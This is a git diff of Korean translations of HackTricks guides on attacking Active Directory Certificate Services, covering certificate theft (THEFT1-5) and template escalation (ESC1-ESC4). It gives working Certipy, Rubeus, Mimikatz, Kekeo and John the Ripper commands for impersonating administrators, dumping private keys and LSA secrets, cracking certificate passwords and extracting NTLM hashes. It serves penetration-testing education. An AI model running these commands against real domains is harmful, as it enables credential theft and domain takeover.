클라이언트가 인증서를 요청하려면 **등록 권한**이 부여되어야 합니다. 이러한 권한은 인증서 템플릿 및 엔터프라이즈 CA 자체의 보안 설명자에 의해 정의됩니다. 요청이 성공하려면 두 위치 모두에서 권한이 부여되어야 합니다.
### Template Enrollment Rights
@ -57,14 +57,14 @@ AD 내에서 정의된 이러한 템플릿은 인증서 발급을 위한 설정
### Enterprise CA Enrollment Rights
CA의 권한은 보안 설명서에 명시되어 있으며, 인증 기관 관리 콘솔을 통해 접근할 수 있습니다. 일부 설정은 낮은 권한의 사용자에게 원격 접근을 허용할 수 있으며, 이는 보안 문제를 일으킬 수 있습니다.
CA의 권한은 보안 설명서에 요약되어 있으며, 인증 기관 관리 콘솔을 통해 접근할 수 있습니다. 일부 설정은 낮은 권한의 사용자에게 원격 접근을 허용할 수 있으며, 이는 보안 문제를 일으킬 수 있습니다.
### Additional Issuance Controls
일부 제어가 적용될 수 있습니다, 예를 들어:
특정 제어가 적용될 수 있습니다, 예를 들어:
- **관리자 승인**: 요청을 인증서 관리자가 승인할 때까지 보류 상태로 둡니다.
- **등록 에이전트 및 승인된 서명**: CSR에 필요한 서명의 수와 필요한 응용 프로그램 정책 OID를 지정합니다.
- **등록 에이전트 및 승인된 서명**: CSR에 필요한 서명의 수와 필요한 애플리케이션 정책 OID를 지정합니다.
### Methods to Request Certificates
@ -77,7 +77,7 @@ CA의 권한은 보안 설명서에 명시되어 있으며, 인증 기관 관리
5. **네트워크 장치 등록 서비스** (NDES) 네트워크 장치를 위한, 간단한 인증서 등록 프로토콜(SCEP)을 사용합니다.
Windows 사용자는 GUI(`certmgr.msc` 또는 `certlm.msc`) 또는 명령줄 도구(`certreq.exe` 또는 PowerShell의 `Get-Certificate` 명령)를 통해 인증서를 요청할 수도 있습니다.
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
@ -87,19 +87,19 @@ Active Directory (AD)는 인증서 인증을 지원하며, 주로 **Kerberos**
### Kerberos 인증 프로세스
Kerberos 인증 프로세스에서 사용자의 Ticket Granting Ticket (TGT) 요청은 사용자의 인증서의 **개인 키**를 사용하여 서명됩니다. 이 요청은 도메인 컨트롤러에 의해 인증서의 **유효성**, **경로**, 및 **폐기 상태**를 포함한 여러 검증을 거칩니다. 검증에는 인증서가 신뢰할 수 있는 출처에서 왔는지 확인하고 발급자의 존재를 **NTAUTH 인증서 저장소**에서 확인하는 것도 포함됩니다. 검증이 성공적으로 완료되면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있습니다:
Kerberos 인증 프로세스에서 사용자의 티켓 발급 요청(Ticket Granting Ticket, TGT)은 사용자의 인증서의 **개인 키**를 사용하여 서명됩니다. 이 요청은 도메인 컨트롤러에 의해 인증서의 **유효성**, **경로**, 및 **폐기 상태**를 포함한 여러 검증을 거칩니다. 검증에는 인증서가 신뢰할 수 있는 출처에서 왔는지 확인하고 발급자의 존재를 **NTAUTH 인증서 저장소**에서 확인하는 것도 포함됩니다. 검증이 성공적으로 완료되면 TGT가 발급됩니다. AD의 **`NTAuthCertificates`** 객체는 다음 위치에 있습니다:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
신뢰를 구축하는 데 중앙 역할을 합니다.
### 보안 채널 (Schannel) 인증
### Secure Channel (Schannel) 인증
Schannel은 안전한 TLS/SSL 연결을 용이하게 하며, 핸드셰이크 중 클라이언트는 인증서를 제시하고, 성공적으로 검증되면 접근을 허가합니다. 인증서를 AD 계정에 매핑하는 과정은 Kerberos의 **S4U2Self** 기능이나 인증서의 **주체 대체 이름 (SAN)** 등을 포함할 수 있습니다.
Schannel은 안전한 TLS/SSL 연결을 용이하게 하며, 핸드셰이크 중 클라이언트는 인증서를 제시하고, 성공적으로 검증되면 접근을 허가합니다. 인증서를 AD 계정에 매핑하는 과정은 Kerberos의 **S4U2Self** 기능이나 인증서의 **Subject Alternative Name (SAN)** 등을 포함할 수 있습니다.
### AD 인증서 서비스 열거
AD의 인증서 서비스는 LDAP 쿼리를 통해 열거할 수 있으며, **기업 인증 기관 (CAs)** 및 그 구성에 대한 정보를 드러냅니다. 이는 특별한 권한 없이 도메인 인증된 사용자라면 누구나 접근할 수 있습니다. **[Certify](https://github.com/GhostPack/Certify)** 및 **[Certipy](https://github.com/ly4k/Certipy)**와 같은 도구는 AD CS 환경에서 열거 및 취약성 평가에 사용됩니다.
AD의 인증서 서비스는 LDAP 쿼리를 통해 열거할 수 있으며, **Enterprise Certificate Authorities (CAs)** 및 그 구성에 대한 정보를 드러냅니다. 이는 특별한 권한 없이 도메인 인증된 사용자라면 누구나 접근할 수 있습니다. **[Certify](https://github.com/GhostPack/Certify)** 및 **[Certipy](https://github.com/ly4k/Certipy)**와 같은 도구는 AD CS 환경에서 열거 및 취약성 평가에 사용됩니다.
이 도구를 사용하는 명령어는 다음과 같습니다:
```bash
@ -115,7 +115,7 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certutil.exe -TCAInfo
certutil -v -dstemplate
```
## 참고 문헌
## References
- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)

40
src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
View File

@ -6,8 +6,8 @@
## 인증서로 무엇을 할 수 있나요
인증서를 훔치는 방법을 확인하기 전에 인증서가 무엇에 유용한지 찾는 방법에 대한 정보가 있습니다:
```powershell
인증서를 훔치는 방법을 확인하기 전에, 인증서가 무엇에 유용한지 찾는 방법에 대한 정보가 있습니다:
```bash
# Powershell
$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
@ -18,7 +18,7 @@ $Cert.EnhancedKeyUsageList
# cmd
certutil.exe -dump -v cert.pfx
```
## 인증서 내보내기 – THEFT1
## Exporting Certificates Using the Crypto APIs – THEFT1
**인터랙티브 데스크탑 세션**에서 사용자 또는 머신 인증서와 개인 키를 추출하는 것은 **개인 키가 내보낼 수 있는 경우** 특히 쉽게 수행할 수 있습니다. 이는 `certmgr.msc`에서 인증서를 찾아 마우스 오른쪽 버튼을 클릭하고 `모든 작업 → 내보내기`를 선택하여 비밀번호로 보호된 .pfx 파일을 생성함으로써 달성할 수 있습니다.
@ -26,7 +26,7 @@ certutil.exe -dump -v cert.pfx
그러나 개인 키가 내보낼 수 없는 것으로 설정된 경우, CAPI와 CNG는 일반적으로 이러한 인증서의 추출을 차단합니다. 이 제한을 우회하기 위해 **Mimikatz**와 같은 도구를 사용할 수 있습니다. Mimikatz는 개인 키의 내보내기를 허용하기 위해 해당 API를 패치하는 `crypto::capi` 및 `crypto::cng` 명령을 제공합니다. 구체적으로, `crypto::capi`는 현재 프로세스 내의 CAPI를 패치하고, `crypto::cng`는 패치를 위해 **lsass.exe**의 메모리를 타겟팅합니다.
## DPAPI를 통한 사용자 인증서 도난 – THEFT2
## User Certificate Theft via DPAPI – THEFT2
DPAPI에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
@ -34,15 +34,15 @@ DPAPI에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
{{#endref}}
Windows에서 **인증서 개인 키는 DPAPI에 의해 보호됩니다**. **사용자 및 머신 개인 키의 저장 위치**가 다르며, 파일 구조는 운영 체제가 사용하는 암호화 API에 따라 다르다는 점을 인식하는 것이 중요합니다. **SharpDPAPI**는 DPAPI 블롭을 해독할 때 이러한 차이를 자동으로 탐색할 수 있는 도구입니다.
Windows에서 **인증서 개인 키는 DPAPI에 의해 보호됩니다**. **사용자 및 머신 개인 키의 저장 위치**가 다르며, 파일 구조는 운영 체제가 사용하는 암호화 API에 따라 다르다는 점을 인식하는 것이 중요합니다. **SharpDPAPI**는 DPAPI 블롭을 복호화할 때 이러한 차이를 자동으로 탐색할 수 있는 도구입니다.
**사용자 인증서**는 주로 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`의 레지스트리에 저장되지만, 일부는 `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` 디렉토리에서도 찾을 수 있습니다. 이러한 인증서에 대한 해당 **개인 키**는 일반적으로 **CAPI** 키의 경우 `%APPDATA%\Microsoft\Crypto\RSA\User SID\`에, **CNG** 키의 경우 `%APPDATA%\Microsoft\Crypto\Keys\`에 저장됩니다.
**인증서와 관련된 개인 키를 추출하기 위해** 과정은 다음과 같습니다:
1. **사용자의 저장소에서 대상 인증서를 선택하고** 해당 키 저장소 이름을 검색합니다.
2. **해당 개인 키를 해독하기 위해 필요한 DPAPI 마스터 키를 찾습니다.**
3. **평문 DPAPI 마스터 키를 사용하여 개인 키를 해독합니다.**
2. **해당 개인 키를 복호화하기 위해 필요한 DPAPI 마스터 키를 찾습니다.**
3. **평문 DPAPI 마스터 키를 사용하여 개인 키를 복호화합니다.**
**평문 DPAPI 마스터 키를 획득하기 위해** 다음 접근 방식을 사용할 수 있습니다:
```bash
@ -62,25 +62,25 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
```
## Machine Certificate Theft via DPAPI – THEFT3
Windows에 의해 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` 레지스트리에 저장된 머신 인증서와 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI의 경우) 및 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG의 경우)에 위치한 관련 개인 키는 머신의 DPAPI 마스터 키를 사용하여 암호화됩니다. 이러한 키는 도메인의 DPAPI 백업 키로 복호화할 수 없으며, 대신 **DPAPI_SYSTEM LSA 비밀**이 필요합니다. 이 비밀은 오직 SYSTEM 사용자만 접근할 수 있습니다.
Windows에 의해 레지스트리에 저장된 머신 인증서 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates`와 관련된 개인 키는 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI의 경우) 및 `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG의 경우)에 위치하며, 머신의 DPAPI 마스터 키를 사용하여 암호화됩니다. 이러한 키는 도메인의 DPAPI 백업 키로 복호화할 수 없으며, 대신 **DPAPI_SYSTEM LSA 비밀**이 필요합니다. 이 비밀은 오직 SYSTEM 사용자만 접근할 수 있습니다.
수동 복호화는 **Mimikatz**에서 `lsadump::secrets` 명령을 실행하여 DPAPI_SYSTEM LSA 비밀을 추출한 다음, 이 키를 사용하여 머신 마스터 키를 복호화함으로써 달성할 수 있습니다. 또는, 이전에 설명한 대로 CAPI/CNG를 패치한 후 Mimikatz의 `crypto::certificates /export /systemstore:LOCAL_MACHINE` 명령을 사용할 수 있습니다.
수동 복호화는 **Mimikatz**에서 `lsadump::secrets` 명령을 실행하여 DPAPI_SYSTEM LSA 비밀을 추출한 후, 이 키를 사용하여 머신 마스터 키를 복호화함으로써 달성할 수 있습니다. 또는, 이전에 설명한 대로 CAPI/CNG를 패치한 후 Mimikatz의 `crypto::certificates /export /systemstore:LOCAL_MACHINE` 명령을 사용할 수 있습니다.
**SharpDPAPI**는 인증서 명령을 통해 보다 자동화된 접근 방식을 제공합니다. `/machine` 플래그가 상승된 권한으로 사용될 때, SYSTEM으로 상승하고 DPAPI_SYSTEM LSA 비밀을 덤프하며, 이를 사용하여 머신 DPAPI 마스터 키를 복호화한 다음, 이러한 평문 키를 조회 테이블로 사용하여 모든 머신 인증서 개인 키를 복호화합니다.
## Finding Certificate Files – THEFT4
인증서는 때때로 파일 공유나 다운로드 폴더와 같은 파일 시스템 내에서 직접 발견됩니다. Windows 환경을 대상으로 하는 가장 일반적으로 접하는 인증서 파일 유형은 `.pfx` 및 `.p12` 파일입니다. 덜 자주 나타나는 파일 확장자로는 `.pkcs12` 및 `.pem`이 있습니다. 추가로 주목할 만한 인증서 관련 파일 확장자는 다음과 같습니다:
인증서는 때때로 파일 시스템 내에서 직접 발견되며, 파일 공유 또는 다운로드 폴더와 같은 위치에 있습니다. Windows 환경을 대상으로 하는 가장 일반적으로 접하는 인증서 파일 유형은 `.pfx` 및 `.p12` 파일입니다. 덜 자주 나타나는 파일 확장자로는 `.pkcs12` 및 `.pem`이 있습니다. 추가로 주목할 만한 인증서 관련 파일 확장자는 다음과 같습니다:
- 개인 키용 `.key`,
- 인증서 전용 `.crt`/`.cer`,
- 인증서나 개인 키를 포함하지 않는 인증서 서명 요청용 `.csr`,
- Java 애플리케이션에서 사용되는 인증서와 개인 키를 포함할 수 있는 Java Keystore용 `.jks`/`.keystore`/`.keys`.
- 인증서 또는 개인 키를 포함하지 않는 인증서 서명 요청용 `.csr`,
- Java 애플리케이션에서 사용되는 인증서와 개인 키를 포함할 수 있는 Java Keystores용 `.jks`/`.keystore`/`.keys`.
이 파일들은 언급된 확장자를 찾아 PowerShell 또는 명령 프롬프트를 사용하여 검색할 수 있습니다.
이 파일들은 언급된 확장자를 찾기 위해 PowerShell 또는 명령 프롬프트를 사용하여 검색할 수 있습니다.
PKCS#12 인증서 파일이 발견되고 비밀번호로 보호되는 경우, `pfx2john.py`를 사용하여 해시를 추출할 수 있으며, 이는 [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html)에서 사용할 수 있습니다. 이후 JohnTheRipper를 사용하여 비밀번호를 크랙하려고 시도할 수 있습니다.
```powershell
```bash
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
@ -90,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt
# Command to crack the hash with JohnTheRipper
john --wordlist=passwords.txt hash.txt
```
## NTLM 자격 증명 도용 via PKINIT – THEFT5
## NTLM Credential Theft via PKINIT – THEFT5 (UnPAC the hash)
주어진 내용은 PKINIT를 통한 NTLM 자격 증명 도용 방법, 특히 THEFT5로 레이블이 붙은 도용 방법을 설명합니다. 다음은 수동태로 재설명하며, 내용이 익명화되고 요약된 것입니다:
주어진 내용은 PKINIT를 통한 NTLM 자격 증명 도용 방법, 특히 THEFT5로 표시된 도용 방법을 설명합니다. 다음은 수동태로 재설명하고, 내용이 익명화 및 요약된 것입니다:
Kerberos 인증을 지원하지 않는 애플리케이션을 위해 NTLM 인증 [MS-NLMP]을 지원하기 위해, KDC는 PKCA가 사용될 때 권한 속성 인증서(PAC) 내에서 사용자의 NTLM 일방향 함수(OWF)를 반환하도록 설계되었습니다. 따라서 계정이 PKINIT를 통해 티켓 부여 티켓(TGT)을 인증하고 확보할 경우, 현재 호스트가 TGT에서 NTLM 해시를 추출하여 레거시 인증 프로토콜을 유지할 수 있도록 하는 메커니즘이 본질적으로 제공됩니다. 이 과정은 NTLM 평문을 NDR 직렬화된 형태로 나타내는 `PAC_CREDENTIAL_DATA` 구조체의 복호화를 포함합니다.
NTLM 인증 `MS-NLMP`를 지원하기 위해 Kerberos 인증을 지원하지 않는 애플리케이션의 경우, KDC는 PKCA가 사용될 때 권한 속성 인증서(PAC) 내에서 사용자의 NTLM 일방향 함수(OWF)를 반환하도록 설계되었습니다. 따라서 계정이 PKINIT를 통해 티켓 부여 티켓(TGT)을 인증하고 확보할 경우, 현재 호스트가 TGT에서 NTLM 해시를 추출하여 레거시 인증 프로토콜을 유지할 수 있도록 하는 메커니즘이 본질적으로 제공됩니다. 이 과정은 NTLM 평문을 NDR 직렬화된 형태로 나타내는 `PAC_CREDENTIAL_DATA` 구조체의 복호화를 포함합니다.
유틸리티 **Kekeo**는 [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo)에서 접근할 수 있으며, 이 특정 데이터를 포함하는 TGT를 요청할 수 있는 기능이 있다고 언급됩니다. 이를 위한 명령은 다음과 같습니다:
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
추가적으로, Kekeo는 핀을 검색할 수 있는 경우 스마트카드 보호 인증서를 처리할 수 있다는 점이 언급되며, [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)에 대한 참조가 있습니다. 동일한 기능이 **Rubeus**에서도 지원된다고 하며, 이는 [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)에서 사용할 수 있습니다.
**`Rubeus`**는 **`asktgt [...] /getcredentials`** 옵션을 사용하여 이 정보를 얻을 수 있습니다.
이 설명은 PKINIT을 통한 NTLM 자격 증명 도용 과정과 관련 도구를 요약하며, PKINIT을 사용하여 얻은 TGT를 통해 NTLM 해시를 검색하는 데 중점을 두고, 이 과정을 용이하게 하는 유틸리티를 다룹니다.
또한, Kekeo는 핀을 검색할 수 있는 경우 스마트카드 보호 인증서를 처리할 수 있다고 언급되며, [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe)에 대한 참조가 있습니다. 동일한 기능이 **Rubeus**에서도 지원된다고 하며, [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)에서 사용할 수 있습니다.
이 설명은 PKINIT을 통한 NTLM 자격 증명 도용 과정과 도구를 요약하며, PKINIT을 사용하여 얻은 TGT를 통해 NTLM 해시를 검색하는 데 중점을 두고, 이 과정을 용이하게 하는 유틸리티를 설명합니다.
{{#include ../../../banners/hacktricks-training.md}}

132
src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
View File

@ -1,4 +1,4 @@
# AD CS 도메인 상승
# AD CS Domain Escalation
{{#include ../../../banners/hacktricks-training.md}}
@ -19,12 +19,12 @@
- **권한 있는 직원의 서명이 필요하지 않습니다.**
- **인증서 템플릿의 보안 설명자가 지나치게 관대하여 낮은 권한의 사용자가 등록 권한을 얻을 수 있습니다.**
- **인증서 템플릿은 인증을 용이하게 하는 EKU를 정의하도록 구성됩니다:**
- 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그인 (OID 1.3.6.1.4.1.311.20.2.2), 모든 용도 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
- **요청자가 인증서 서명 요청 (CSR)에 subjectAltName을 포함할 수 있는 능력이 템플릿에 의해 허용됩니다:**
- Active Directory (AD)는 인증을 위해 인증서에서 subjectAltName (SAN)을 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 어떤 사용자(예: 도메인 관리자)를 가장할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에서 `mspki-certificate-name-flag` 속성을 통해 표시됩니다. 이 속성은 비트마스크이며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 존재하면 요청자가 SAN을 지정할 수 있습니다.
- 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그인 (OID 1.3.6.1.4.1.311.20.2.2), 모든 목적 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
- **인증서 서명 요청 (CSR)에 subjectAltName을 포함할 수 있는 요청자의 능력이 템플릿에 의해 허용됩니다:**
- Active Directory (AD)는 인증서에 있는 경우 신원 확인을 위해 subjectAltName (SAN)을 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 모든 사용자(예: 도메인 관리자)를 가장할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지는 인증서 템플릿의 AD 객체에서 `mspki-certificate-name-flag` 속성을 통해 표시됩니다. 이 속성은 비트마스크이며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 존재하면 요청자가 SAN을 지정할 수 있습니다.
> [!CAUTION]
> 설명된 구성은 낮은 권한의 사용자가 선택한 SAN으로 인증서를 요청할 수 있도록 허용하여 Kerberos 또는 SChannel을 통해 어떤 도메인 주체로도 인증할 수 있게 합니다.
> 설명된 구성은 낮은 권한의 사용자가 선택한 SAN으로 인증서를 요청할 수 있도록 허용하여 Kerberos 또는 SChannel을 통해 모든 도메인 주체로 인증할 수 있게 합니다.
이 기능은 때때로 HTTPS 또는 호스트 인증서의 즉석 생성 지원을 위해 제품이나 배포 서비스에 의해 활성화되거나 이해 부족으로 인해 활성화됩니다.
@ -47,7 +47,7 @@ certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.loc
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows 이진 파일 "Certreq.exe" 및 "Certutil.exe"는 PFX를 생성하는 데 사용할 수 있습니다: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Windows 바이너리 "Certreq.exe" 및 "Certutil.exe"는 PFX를 생성하는 데 사용할 수 있습니다: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
AD 포리스트의 구성 스키마 내에서 인증서 템플릿을 열거하는 것은, 특히 승인이나 서명이 필요하지 않고, 클라이언트 인증 또는 스마트 카드 로그온 EKU를 보유하며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 활성화된 템플릿에 대해 다음 LDAP 쿼리를 실행하여 수행할 수 있습니다:
```
@ -65,9 +65,9 @@ AD 포리스트의 구성 스키마 내에서 인증서 템플릿을 열거하
4. 인증서 템플릿에 대한 지나치게 관대한 보안 설명자가 저권한 사용자에게 인증서 등록 권한을 부여합니다.
5. **인증서 템플릿은 Any Purpose EKU 또는 EKU가 없는 것으로 정의됩니다.**
**Any Purpose EKU**는 공격자가 **모든 목적**을 위해 인증서를 얻을 수 있도록 허용하며, 여기에는 클라이언트 인증, 서버 인증, 코드 서명 등이 포함됩니다. **ESC3에 사용된 동일한 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
**Any Purpose EKU**는 공격자가 **모든 목적**(클라이언트 인증, 서버 인증, 코드 서명 등)을 위해 인증서를 얻을 수 있도록 허용합니다. **ESC3에 사용된 동일한 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
**EKU가 없는** 인증서는 하위 CA 인증서로 작용하며, **모든 목적**을 위해 악용될 수 있으며 **새로운 인증서에 서명하는 데에도 사용될 수 있습니다**. 따라서 공격자는 하위 CA 인증서를 활용하여 새로운 인증서에 임의의 EKU 또는 필드를 지정할 수 있습니다.
**EKU가 없는** 인증서는 하위 CA 인증서로 작용하며 **모든 목적**을 위해 악용될 수 있으며 **새로운 인증서를 서명하는 데에도 사용될 수 있습니다**. 따라서 공격자는 하위 CA 인증서를 활용하여 새로운 인증서에 임의의 EKU 또는 필드를 지정할 수 있습니다.
그러나 **도메인 인증**을 위해 생성된 새로운 인증서는 하위 CA가 **`NTAuthCertificates`** 객체에 의해 신뢰되지 않는 경우 작동하지 않습니다. 이는 기본 설정입니다. 그럼에도 불구하고 공격자는 여전히 **임의의 EKU**와 임의의 인증서 값을 가진 **새로운 인증서**를 생성할 수 있습니다. 이러한 인증서는 잠재적으로 **다양한 목적**(예: 코드 서명, 서버 인증 등)으로 **남용될 수** 있으며, SAML, AD FS 또는 IPSec과 같은 네트워크의 다른 애플리케이션에 중대한 영향을 미칠 수 있습니다.
@ -79,9 +79,9 @@ AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플
### 설명
이 시나리오는 첫 번째와 두 번째와 비슷하지만 **다른 EKU** (인증서 요청 에이전트)를 **악용**하고 **2개의 다른 템플릿**을 사용합니다 (따라서 2세트의 요구 사항이 있습니다).
이 시나리오는 첫 번째와 두 번째와 비슷하지만 **다른 EKU**(인증서 요청 에이전트)를 **악용**하고 **2개의 다른 템플릿**을 사용합니다(따라서 2세트의 요구 사항이 있습니다).
**인증서 요청 에이전트 EKU** (OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **등록 에이전트**로 알려져 있으며, 주체가 **다른 사용자를 대신하여 인증서에 등록**할 수 있도록 허용합니다.
**인증서 요청 에이전트 EKU**(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **등록 에이전트**로 알려져 있으며, 주체가 **다른 사용자를 대신하여 인증서에 등록**할 수 있도록 허용합니다.
**“등록 에이전트”**는 그러한 **템플릿**에 등록하고 결과적으로 생성된 **인증서를 사용하여 다른 사용자를 대신하여 CSR에 공동 서명**합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **전송**하고, **“대신 등록”을 허용하는 템플릿**에 등록하며, CA는 **“다른” 사용자에게 속하는 인증서**로 응답합니다.
@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**사용자**는 **등록 에이전트 인증서**를 **획득**할 수 있으며, 등록 **에이전트**가 등록할 수 있는 템플릿과 등록 에이전트가 대신하여 행동할 수 있는 **계정**은 엔터프라이즈 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고, **CA를 마우스 오른쪽 버튼으로 클릭**한 다음, **속성 클릭** 후 “등록 에이전트” 탭으로 **이동**하여 달성됩니다.
허용된 **사용자**는 **등록 에이전트 인증서**를 **획득**할 수 있으며, 등록 **에이전트**가 등록할 수 있는 템플릿과 등록 에이전트가 대신하여 행동할 수 있는 **계정**은 엔터프라이즈 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고, **CA를 마우스 오른쪽 버튼으로 클릭**한 후, **속성 클릭** 및 “등록 에이전트” 탭으로 **탐색**하여 달성됩니다.
그러나 CA의 **기본** 설정은 “**등록 에이전트를 제한하지 않음**”으로 설정되어 있음을 주목해야 합니다. 관리자가 등록 에이전트에 대한 제한을 활성화하면 “등록 에이전트를 제한”으로 설정하더라도 기본 구성은 여전히 매우 관대합니다. 이는 **모든 사람**이 누구로든 모든 템플릿에 등록할 수 있도록 허용합니다.
@ -127,15 +127,15 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
**인증서 템플릿**에 대한 **보안 설명자**는 템플릿에 대해 특정 **AD 주체**가 보유한 **권한**을 정의합니다.
**공격자**가 **템플릿**을 **변경**하고 **이전 섹션**에서 설명된 **악용 가능한 잘못된 구성**을 **설치**할 수 있는 필수 **권한**을 보유하고 있다면, 권한 상승이 촉진될 수 있습니다.
**공격자**가 **템플릿**을 **변경**하고 **이전 섹션**에 설명된 **악용 가능한 잘못된 구성**을 **설치**할 수 있는 필수 **권한**을 보유하고 있다면, 권한 상승이 촉진될 수 있습니다.
인증서 템플릿에 적용 가능한 주목할 만한 권한은 다음과 같습니다:
- **소유자:** 객체에 대한 암묵적인 제어를 부여하여 모든 속성을 수정할 수 있습니다.
- **전체 제어:** 객체에 대한 완전한 권한을 부여하며, 모든 속성을 변경할 수 있는 능력을 포함합니다.
- **소유자 쓰기:** 공격자가 제어하는 주체로 객체의 소유자를 변경할 수 있도록 허용합니다.
- **DACL 쓰기:** 접근 제어를 조정할 수 있도록 하여 공격자에게 전체 제어를 부여할 수 있습니다.
- **속성 쓰기:** 모든 객체 속성을 편집할 수 있도록 허가합니다.
- **DACL 쓰기:** 접근 제어를 조정할 수 있으며, 공격자에게 전체 제어를 부여할 수 있습니다.
- **속성 쓰기:** 모든 객체 속성을 편집할 수 있도록 권한을 부여합니다.
### 남용
@ -143,13 +143,13 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가질 때 발생합니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어써서 템플릿을 ESC1에 취약하게 만들기 위해 악용될 수 있습니다.
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가질 때 발생합니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어써서 템플릿을 ESC1에 취약하게 만들기 위해 남용될 수 있습니다.
위 경로에서 볼 수 있듯이, 오직 `JOHNPC`만 이러한 권한을 가지고 있지만, 우리의 사용자 `JOHN`은 `JOHNPC`에 대한 새로운 `AddKeyCredentialLink` 엣지를 가지고 있습니다. 이 기술이 인증서와 관련이 있기 때문에, 저는 이 공격을 구현했으며, 이는 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려져 있습니다. 피해자의 NT 해시를 검색하기 위한 Certipy의 `shadow auto` 명령의 작은 미리보기를 보여드립니다.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본적으로** Certipy는 구성을 **ESC1에 취약하도록 덮어씁니다**. 또한 **`-save-old` 매개변수를 지정하여 이전 구성을 저장할 수 있으며**, 이는 공격 후 구성을 **복원하는 데 유용**할 것입니다.
